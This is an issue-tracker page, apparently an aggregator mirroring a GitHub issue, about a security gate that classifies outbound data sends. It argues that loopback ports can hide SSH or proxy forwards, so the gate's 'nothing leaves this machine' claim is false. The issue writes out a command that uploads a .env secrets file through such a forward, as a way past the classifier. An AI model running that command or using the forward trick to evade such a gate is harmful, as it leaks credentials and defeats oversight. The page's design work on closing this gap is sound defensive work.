Hacktoberfest 2026:维护者为十月标记出来的 issue,仍然开放、适合新手。 浏览 Hacktoberfest issue

Decide what the gate may claim about a loopback destination (forwarding defeats "local")

已关闭
#134 0 条评论 0 个 reaction 已指派 0 人 在 GitHub 查看

维护者通常 1 天内回复

还没有人认领这个 Issue。

评估

难度
4/5
预计耗时
3-5 天
新手友好度
48/100
Issue 类型
缺陷
描述清晰度
基本清楚
活跃度
活跃
技术栈
typescript
领域
security

调研方向

Read jev.ts at lines 332, 419, 878, and 1332 to compare the loopback criteria with the state field that reports the port. Use the stated recommendation and acceptance criteria to decide how the wording and regression should align, ensuring the gate makes no stronger locality claim than the measurement supports.

由索引模型根据 Issue 内容生成。

描述

bug ready-for-human

This was generated by AI during triage.

Decision needed: what the gate may claim about a loopback destination

The review gate's final round on PR #126 raised this as a P1, and it is a criteria-text question as much as a measurement one, which is why it is separated from the two mechanical fixes that were filed alongside it (#133).

The shape:

# an SSH forward exists from 127.0.0.1:8000 to a remote host
curl --data-binary @.env http://127.0.0.1:8000/upload

The measurement records a loopback port, and the criteria for sends_local_data_outbound tell the judge that traffic there reaches a process on this machine and that nothing leaves it (jev.ts:332, :419, :878, :1332). An SSH forward, a SOCKS proxy, a socat, or a Docker daemon behind such a forward all make that claim wrong: the bytes can leave, and the thing that decides is what is listening on that port, not the address.

The options

  1. Measure the listener. Read what is bound to the port (lsof-style, or the docker port table the tier already reads) and only claim locality for a process that is actually this machine's own. Cost: a new measurement with its own failure modes (permissions, a port that opens after the read, a container publishing a port it forwards elsewhere), and every failure has to be fail-closed, i.e. no local claim.
  2. Stop asserting the inference; state what was measured. Keep reporting the loopback port, and reword the criteria so they say what is true: the destination is an address on this machine, which is usually a local process but may be anything listening there, including a forward. Cost: the judge loses a positive signal it currently leans on, so loopback false-asks may return in some measure. Benefit: no new measurement, and no claim the gate cannot support.
  3. Keep the current claim and accept the residual, documented as a stated limit next to the others. Cost: the criteria keep asserting something false in the presence of a forward, and the failure mode is an allow with a real egress in it.

What I would pick

Option 2 now, option 1 as its own follow-up if the loopback false-asks come back: the gate's whole discipline is that an unmeasured value is absent rather than guessed, and "loopback implies nothing leaves" is exactly the kind of unmeasured inference that discipline forbids. Option 1 is the better end state but it is a new measurement path, and doing it in the same breath as the criteria rewording makes both harder to review.

Acceptance, whichever is chosen

  • The criteria text and the state field agree: if the field reports a port, the criteria say what a port on this machine establishes and what it does not.
  • A regression pins the wording, so a later edit cannot quietly restore the stronger claim.
  • If option 1 is taken: a forward to a remote host yields no local claim, and a listener the gate cannot identify yields none either.
主要语言
TypeScript
星标
0
派生
1
平均合并
2 小时 10 分钟
30 天内合并 PR
64

环境准备

这个项目没有提供开发容器、Dockerfile 或贡献指南,环境需要你自己搭建:先看它的 README,通用步骤见我们的新手贡献指南。

从这里开始

  1. 先读完整个 Issue,再读项目的贡献指南。
  2. 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
  3. Fork 仓库,在一个分支上完成修改。
  4. 提交 Pull Request,并在描述里引用这个 Issue 编号。

STRML/omp-classifier 的其他 Issue

查看 STRML/omp-classifier 的全部 Issue

相似的 Issue

更多 TypeScript Issue

把新 issue 发到你的邮箱

精选适合新手参与的 GitHub issue 摘要。